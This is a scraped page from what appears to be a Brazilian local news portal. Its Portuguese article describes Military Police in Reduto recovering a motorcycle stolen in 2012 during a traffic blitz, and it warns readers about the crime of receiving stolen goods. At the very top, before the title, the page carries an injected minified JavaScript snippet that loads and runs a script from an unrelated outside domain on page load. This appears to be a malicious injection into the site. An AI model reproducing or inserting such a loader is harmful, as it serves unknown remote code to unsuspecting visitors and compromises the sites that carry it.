;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); PM de Reduto recupera motocicleta furtada. - Portal Carangola

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PM de Reduto recupera motocicleta furtada.

Uma guarnição da Policia Militar composta pelo Soldado Cyro e Soldado Duarte, durante realização da Operação Cavalo de Aço – uma Blitz de Trânsito que tem por objetivo coibir a prática de delitos, furtos/assaltos em nossa região, por marginais que se utilizam de motocicletas para tais práticas, além de conferência da documentação e demais procedimentos padrão a todos abordados – abordaram um condutor, o qual conduzia a motocicleta Honda XLR, cor: vermelha, placa: GWE7011 e, ao ser solicitado a documentação de porte obrigatório referida na Lei Federal 9.503/97, o Código de Trânsito Brasileiro (“CTB”), o condutor informou aos militares ser inabilitado, disse não portar o CRLV do veículo, todavia, alegou que a situação da motocicleta estaria “regular”.
Diante do exposto, os PMs realizaram consulta via Rede Rádio do COPOM/11ºBPM a fim de conferir a situação do veículo, sendo constatado impedimento de Roubo/Furto para esta motocicleta, tendo o respectivo Boletim de Ocorrência sido registrado no ano de 2012 pela Companhia PM de Manhumirim-MG, cidade de emplacamento da motocicleta.
Nesse ínterim, foi acionado o serviço de remoção credenciado de plantão, o qual realizou os procedimentos de praxe.
Em parlamentação com o condutor da motocicleta, este informou que a adquiriu de um terceiro indivíduo, sem saber que a moto seria produto de furto apesar de não ter recebido o documento dela e ter comprado por um preço bem abaixo do convencional para este modelo. Este terceiro foi localizado pelos militares, tendo apontado mais uma quarta pessoa, tendo sido todos estes, conduzidos a Delegacia de Polícia Civil em Manhuaçu para prestarem depoimento ao Delegado sobre a real situação da motocicleta.
Os militares ressaltam quanto à necessidade de manter-se alertas quanto a ofertas aparentemente muito vantajosas, vale lembrar o ditado popular: “quando a oferta é demais o santo desconfia”.
Orientam também que adquirir produtos provenientes de furto, pode fazer com que o adquirente incorra no crime de receptação, tipificado no Artigo 180 Código Penal Brasileiro.


Informação:
Soldado Duarte,
Destacamento Policial Militar de Reduto

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